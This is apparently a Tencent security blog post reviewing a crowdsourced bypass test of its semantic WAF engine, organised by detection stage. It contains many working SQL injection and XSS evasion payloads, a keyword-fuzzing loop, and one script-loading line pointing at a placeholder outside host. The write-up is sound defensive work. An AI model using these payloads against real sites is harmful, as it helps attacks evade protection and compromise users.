门神WAF众测总结
2020-05-14 18:06:17 Author: security.tencent.com(查看原文) 阅读量:161 收藏

一. 数据

在过去的一个月中,我们支持 TSRC 举行了一次 门神WAF众测 活动,来让大家帮助我们打造更强大的 WAF 智能引擎。得益于各位白帽子安全专家对本次活动的大力支持,截至活动结束,我们一共收到了来自 3829 多个 IP 的接近 7000多万次的请求。收到了绕过报告232 个,去除无效和重复的报告后,一共累计确认了 59 个报告,并且给予了活动奖励。

对于外部安全专家帮助我们发现的绕过问题,我们逐个案例做了详细分析并且在智能引擎中针对这些绕过进行了修复。为了回馈业界广大安全专家们的辛苦努力,我们也将这些绕过案例进行了归类和总结,形成这篇文章。也希望能够帮助到业界安全同仁们,让大家在建设自己的 WAF 系统时能少踩坑并且持续提升防护能力。


二. 绕过手法总结

本次智能引擎的实现方式在前一篇 WAF建设运营及AI应用实践 也已经有过详细描述,具体检测的流程大概如下图,其核心在于语义分析的引擎和智能打分模块。

相对于传统正则引擎,这种方式也多了一些比较另类的绕过可能,总结这些绕过其核心的思路有以下两点:

1. 利用解析器和后端处理逻辑的不一致,构造实际可以执行的payload ,但是语法分析会出现语法错误或者打分认为是无害的,骗过引擎。

2. 为了后续能够处理 WAF 中的特殊场景(比如闭合,要同时适配多种后端),WAF 语义分析的解析引擎一般会自行进行实现,一旦出现实现者没有考虑到的点,或者有一些后端的特性没有覆盖到,就可能引发绕过。

接下来分预处理、词法分析、语法分析、智能打分 四个方面展开 。

以下内容篇幅较长,预计阅读时长7分钟

1. 预处理阶段

预处理阶段主要完成了分割HTTP数据包,解参数,解码。HTTP数据包,解参数阶段的绕过,一般都是利用解析缺陷,让WAF不能很好的解析参数。针对这类本次绕过不涉及,这里暂不描述。

解码阶段和规则引擎有所区别,如果没有处理好可能导致绕过。规则引擎的在做解码的逻辑时,一般会进行循环解码,然后进入引擎匹配。这种如果放在语义分析的引擎中,则有可能因为即解码次数和后端不一致导致绕过,下面是两个例子,都是因为多次解码,导致语法错误。

alert('%27')

=> alert('%27') // 语法正确

=> alert(''') // 再进行一次 url 解码,语法错误

%3Csvg/onload=alert(1)%25111%3E

=> <svg/onload=alert(1)1> // 进行一次 url 解码,语法正确

=> <svg/onload=alert(1)•1> // 再进行一次 url 解码,语法错误

=> alert(1)•1


2. 词法分析阶段

词法分析主要用来扫描输入字符串,输出对应的词法分析后Token流。这里的攻击手法,主要是利用缺陷的输入,过词法分析器,导致输出了错误的Token 流,这个 Token 送到后面的语法分析和打分时,会被认为语法错误/无危害,就会出现绕过。下面是本次绕过出现的一些类型:

01. 特殊字符处理缺陷

这里也和规则引擎有所区别,规则引擎一般会对这一类的字符会在预处理阶段统一处理,所以写正则策略的时候,并不会十分关心这一块的问题。在智能引擎中,由于涉及语义,如果如果没有单独适配这些字符,或者和规则引擎一样在预处理阶段做统一的替换或者过滤处理,则有可能会出现绕过。

这种特殊字符的场景较多,比如 SQL 中,Mysql 注释 -- 后面可以跟哪些字符、变量名可以有哪些大于 0x80 的字符;XSSon事件中的 、XSS 中 <a href 结合 javascript 伪协议中允许字符等等。甚至还存在后端应用、可指定编码导致的差异。

要发现类似绕过,可以考虑直接设定字符的范围,逐字符的进行 Fuzz 。这一些直接给一些 payload 供参考:

select flag from flag --;

select flag from flag --%7f

select flag from flag --%a0

select flag as a%ffb from flag;

select flag as %ef from flag

<a onmouseover=alert(document.location)>aaa</a>

<a href=java%09script:alert(1)>

02. 变量格式处理缺陷

这一类本质上也属于解析器的实现缺陷导致出现的绕过,对变量的提取没有做到保持后端完全的一致,导致词法分析输出的结果错误。比如,在 mysql 中的字符串标签中,类似于表名,列名等的别名类型,实际上是可以以数字开头的,如果解析器没有考虑到这种情况,对于类似1a 的别名,解出来就会变成两个 Token <INTNUM><IDENT>,就会导致语法分析错误。

# 列名
select 1a from (select flag as 1a from flag)x;
# 表的别名
select 1aaa.1a from (select flag as 1a from flag) 1aaa;
# 类似情况,用数字定义列名,然后用列名访问
select x.1 from (select flag as `1` from flag)x;

类似情况,Mysql后端是区分大小写的 0x1 是十六进制数字的类型而 0X1 实际不是 ,如果前端词法分析的时候不区分大小写,或者在预处理阶段统一转换大小写,就会导致绕过。

select {0X23 (select flag from flag)};

XSS 解析器中有也有类似情况,比如下面这个例子,这个非法转义序列的问题,在声明 template 的时候,是不允许有这种转义序列,但是作为带标签的模版字符串有是可以的,这个可以参考一下这个文档:模板字符串

a=`\1`; // 语法错误

alert`\1`; // 语法正确 

03. 对于一些词法的结构覆盖不完全/覆盖错误 

比如下面这两种 Mysql 的不明用法,都是词法分析器没有覆盖到导致的。

使用 ; 作为注释,同时,这个要注意在其他数据库的适配问题:

select 1 from table where 1=1 and sleep(5); 123123 456456

下面这个例子,追溯出处发现来自于 libinjection 的 issuse:Multiple FalseNegatives #139

select 3>.1e(2);

这一类也可以参考一下 libinjection 的 issuse 和一些讲绕过 libinjection 的文章,libinjection 实现了词法分析的过程,很多针对它的绕过同样适用于词法分析阶段,可以用来查漏补缺。

04. 【XSS】利用 HTML 解析缺陷

HTML解析的时候也一些特殊情况,这里举两个例子:

【script 标签特性】

XSS 中提取 javascript 时,依赖于 HTML 解析器的解析逻辑,实际上 HTML5 进行解析的算法,和我们平时写爬虫用的 HTML 库的解析方式还是存在一些差异的,如果没有踩过这个坑的话,就可能会导致绕过:

<script>a="<!--<script></script>";alert(name)//</script>

<script>a='<!--<script>'/*</script>-->*/;alert(1)</script>

比如上面这两个例子,如果凭感觉解析,提取出来的 js 就会下面这样,一个双引号没有闭合,一个单引号没有闭合,语法错误:

a="<!--<script>

a='<!--<script>'/*

但是实际上提取出来的 js 应该是下面这样才正确:

a="<!--<script></script>";alert(name)//

a='<!--<script>'/*</script>-->*/;alert(1)

为什么 html 解析器在遇到第一个 </script> 时不会停止解析呢?

在看了规范:4.12.1.3Restrictions for contentsof `script` elements,才发现这里原来有一个历史遗留的特性:<!-- 和 <script 在内联的 javascript 中出现时,要求对 <script> 进行闭合。

【svg 标签】

类似的还有 <svg> 标签,他和其他的标签不一样,在 <svg>的内容可以使用 XML 语法,因此可以使用各种 XML 来混淆:

比如使用实体编码:

<svg><script>alert&#40;1)</script>

进而利用随机插入 XML 标签,利用 XML 的格式进行混淆。

<svg><qwe></qwe><script><!--123-->a<qwe>123</qwe>l</>e</>r</1>t&#40;<![CDATA[1)]]></script></svg>

这一类利用 HTML 解析导致绕过的方法可以参考 HTML 解析的规范,还有一些 Chrome XSS Auditor Bypass 的文章。

3. 语法分析阶段

语法分析阶段主要用来判断输入是否语法正确,在这个阶段,规则引擎中出现的误拦截的请求,大部分会因为不符合的正确语法,在这里被放过,从攻击者的角度看,如果要构造攻击语法分析的过程,则实际上是要找到语法解析器不认识的语法来实现绕过。比如以下几类:

01. 利用后端特性的语法绕过

对于一些特性的语法,如果没有完整支持就可能存在绕过,比如 Mysql 数据库特有的语法覆盖不全。

比如,Mysql 中普通函数的格式,都是 函数名(参数,参数,参数),但是 Mysql 自身也实现了一些特殊语法格式的系统函数,以前绕过逗号过滤进行 SQL 注入就会用到的,比如 substr(xxx from xx for xxx) 这些。实际上在 Mysql 中这样的函数还不少,这类函数的文法在语法解析器中要覆盖全面,如果有一些没有覆盖到的,语法解析出错,就会导致绕过。

select weight_string(char(1) as binary(1) level 3);
select group_concat(distinct 1=1 order by 1 SEPARATOR 'asd');
select cast(flag AS char(10000) CHARACTER SET utf8);
select char(0xd1,0x8f using utf8);
select avg(distinctrow all (select 1,2)) from x;

除了函数,还有一些特殊的结构,比较常见的有用来进行 limit 注入的 procedureanalyse,此外还有下面这些:

"xxx"like"xxx" escape "xxx"

LOCK IN SHARE MODE

MATCH(a,b) AGAINST ("collections" WITH QUERYEXPANSION);

use index for join()

INTO OUTFILE '/exportdata/customers.txt' FIELDS TERMINATED BY',' OPTIONALLYENCLOSED BY'"' LINES TERMINATED BY'\n';

针对这些后端语法特性,无论的绕过还是修复,最好的办法还是参考官方文档和源码实现,对陌生的语法结构依次尝试,看语法分析器的能否成功解析,实现上是否有遗漏。

02. 利用一些语言新特性绕过 



新的语法对于旧的解析器来说就是语法错误,所以利用新语言特性也是一种办法。对于 XSS 来说,虽然语法实现比较统一,但是由于 JS 规范的迭代速度较快,浏览器也会进行同步的更新,从 ES6 到 ES10 的新特性,一旦解析器落后了,就会出现解析错误,导致被攻击被放过:

比如,利用 ES10 新特性 BigInt,形如 1n,即在一个整数后面加上一个 n 用来表示大整数。(这个其实应该算在词法分析阶段)

<script>alert(1n)</script>

利用异步生成器函数 ES2018 新特征之:异步迭代器 for-await-of

<script>(asyncfunction*(){})['constructor']('alert(document.domain)')().next();</script>

甚至可以考虑利用一些还没有纳入规范的新特性,如 Optional Chaining,这个特性目前处于草案阶段 ,但是在最新的Chrome 和 FireFox 都已经实现了。

<script>this.alert?.()</script>

针对这一类通过新特性的防护,可以通过跟进相关规范以及 babeljs支持的新特性来完善,babeljs看起来是实现跟进的比较快的了,绕过也可以在里面找。

SQL注入这些客户端漏洞也可以考虑类似的思路,但是服务端漏洞中,实际后端服务的版本是不可控的,一般也不会实时更新,所以利用起来比较难。对于防护者来说,依然还是要做好运营,定期跟进日志更新。

03. 利用关键字绕过 



在语言中,一些关键字实际上是可以作为变量名或者标签名这种“变量”的,实际上应该叫做非保留关键字,举个例子:

select
SQL_BUFFER_RESULT // select可选项
1
SQL_BUFFER_RESULT // 查询结果的别名
from (select 1 as SQL_BUFFER_RESULT from flag) SQL_BUFFER_RESULT;

经过词法分析阶段输出的Token流如下:

<SELECT_SYM> <SQL_BUFFER_RESULT> <INT_NUM><SQL_BUFFER_RESULT> <FROM> ...

如果这没有考虑到 <SQL_BUFFER_RESULT> 这个非保留关键字, 可以作为列的别名的时候,语法分析器在解析完 1,读入下一个 Token 后,会进行判断:这个 Token 能否作为 Identifier -> 否 -> 语法错误。导致这个语句被认为语法错误,成功绕过。

实际上,在 Mysql 中是有单独的一类 Non-reserved keywords ,单独对这些关键字进行适配,使他们可以同时作为变量名使用,例如可以随意使用的ident_keywords_unambiguous,还有一些有一定限制的关键字,比如label_keyword、role_keyword 等:

ident_keywords_unambiguous:

ACTION

| ACCOUNT_SYM

| ACTIVE_SYM

| ADDDATE_SYM

| ADMIN_SYM

| AFTER_SYM

| AGAINST

...

这一类绕过时可以尝试直接 Fuzz,直接把数据库的关键字列表拉下来跑,比如下面这样的,如果响应和 id=1 的响应一样,说明关键字可用,有点类似盲注的思路:

x = [ 关键字列表 ]

for i in x:

check('/int.php?id=(select+1+from+dual+%s)' % i)

check('/int.php?id=(select+1+%s+from+dual)' % i))

check('/int.php?id=(select+%s+from+(select+1+%s+from+dual)x)' % (i, i)))

check('/int.php?id=(select+{%s+1}+from+{%s+dual})' % (i, i))

XSS 也类似,比如,我们实现的 demo 基于某开源 js 解析器进行完善,解析器自身的实现上也没有考虑到这种情况,导致下面,利用 yield 、 await 关键字的作为标签名时候语法解析出错。

<script>yield:-!alert()-(test) </script>

<script>let:e:alert()=e</script>

这一类还是可以尝试 Fuzz,SQL注入可以只直接把对应数据库的关键字列表拉下来,XSS可以直接拉保留的关键字。上面两个 XSS 的绕过就是内部测试期间大佬直接写了 Fuzzer 测出来的。

4. 打分阶段

经过了语法分析阶段,证明输入的语法是正确的。打分阶段主要是判断输入是不是实际的攻击。比如对于下面的语句:

1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1

把它作为 javascript 内容,它的语法正确的;把它当成 SQL 的查询条件,它的语法也是正确的。但是从 WAF 的角度来说,它没有明确攻击特征,不能拦它,这一类就需要在打分阶段将它排除掉。在打分阶段,也存在一些绕过的手法。

01. 利用简单payload进行探测

这个其实不能算绕过,大家都懂,如在 SQL 盲注探测阶段,首先利用类似 ?id=1|0 、?id=1|1 判断是否存在漏洞。这种如果 WAF 没有学习白流量的能力,是不敢轻易地作拦截的(为了不出现误拦截),但这种一般只是在探测阶段有效,无法真正进行漏洞利用,适合用来快速确定漏洞是否存在。从防御者的角度来说,一般需要结合来源的特征进行综合判断。

02. 利用语言的灵活语法来绕过打分阶段

如果一个引擎只做到语义分析,没有动态分析/虚拟执行能力的话,比如 XSS ,如果纯通过 JS 分析,仍然有可能能够利用灵活的语言特性来绕过。针对这一阶段,可以先简单的测试一下,可以看看对 javascript 的拦截的阈值,也就是判断严格程度,如果 WAF 是严格识别到 js 中有攻击特征才拦截的,就可以考虑下面的各种花式绕法。

先考虑一些用不明显特征来构造出一个类似 eval 的函数,能够控制字符串里面的内容作为代码执行,字符串里面可以各种花式混淆,就很大程度能够避开打分模块对关键函数的检测了,同样可以考虑一些 jsfuck、aaencode、katakana这些奇奇怪怪的编码;如果要绕过针对 AST 结构的检测,思路则还是尽可能构造和正常语句类似的结构。如下面这个两种方式:

[]['pu'+'sh']['const'+'ructor']('ale'+'rt(1)')``

class ChildClass extends (b){};new ChildClass('ale'+'rt(1)')

下面这个 <a 标签的和上面的相似,如果按照 javascript:'xxxxs' 看,实际上只是一个字符串变量,字符串里面的内容会作为html内容输出,由于 <a 标签广泛的出现在一些富文本的内容中,所以有的时候这个还挺好用的,就是需要交互:

<ahref="javascript:'<svgonload&equals;s&equals;createElement&lpar;"\x73cript"&rpar;;body.appendChild&lpar;s&rpar;;alert&lpar;1&rpar;&nvgt;'">CLICK</a>

类似的,由于 XSS 语法的特殊性,可以考虑结合标签来绕过。如果解析器是纯通过 JS 来分析,是很容易出现疏漏导致绕过:

<iframe name=a></iframe><script>a['alert'](1)</script>
<script id=b></script><script>b.src='https://xxx.xx/'</script>

也可以看看浏览器有没有一些已有的变量可以用:

content['alert'](1) // 全局变量 content,适用于 FireFox

AbortController['cons'+'tructor']('alert(1)')(1) // 利用window.AbortController

当然如果 javascript的拦截的阈值很低的话,要在打分上绕过就比较难了,这又回到误报漏报平衡的问题上来了。 


三. 总结

在实现语义分析的引擎的过程中,我们确实感受到了这类方案相对于传统的正则的优势所在:能够更加的贴近于真实攻击进行分类,实现的逻辑更为清晰。但是也发现了引擎实现的一些问题,我们对此也完成了进一步的优化。

感谢star、harite 在成文过程中提供的指导,感谢 TSRC对本次活动的支持,感谢门神开发团队在引擎实现上的给力支持。

最后再次感谢本次参与测试的白帽子们(排名不分先后):\xb6\xbd\xde ,108 ,蓝冰 ,123457 ,Broken_5,S,ppppp4ny ,test123 ,theta ,柚屿i ,夏殇 ,yo ,B0ker ,雨了个雨 ,吃瓜群众 ,Camaro ,哎呀妈呀脑壳疼 ,Hpdoger ,Tiny ,Koalr ,蜂花护发素 ,舔狗日志 ,Valour ,museljh ,0d9y ,我是killer ,小福仔 ,Str1am ,不爱加班也不爱出差 ,Dclah ,林型 ,895515845 ,jlufocu651,seei,c0smic ,挖低危的清风 ,Alice ,CoolCat ,Smi1e ,LFY,dh@work ,不学好web不改名 ,S~J~S ,安安的魂淡,瓦都剋 ,局外人 ,小鸡哔哔哔 ,郁离歌丶 ,泉6DA,R1dd1er,GuoKer ,xcold ,f0ng ,superbean ,洋子,RichardTang ,Hu3sky,5 ,莎哟娜拉 ,loecho ,rebirthwyw,ret4n0j ,贝塔 ,yilv weixi ,DONUT ,sn00py ,6.18 ,等天黑,awindog ,w1nd ,HWHXY ,MarchRain ,Carpediem ,x'm&# ,tzrj ,归零 ,test ,L1e ,w14测试 ,意。


文章来源: https://security.tencent.com/index.php/blog/msg/151
如有侵权请联系:admin#unsafe.sh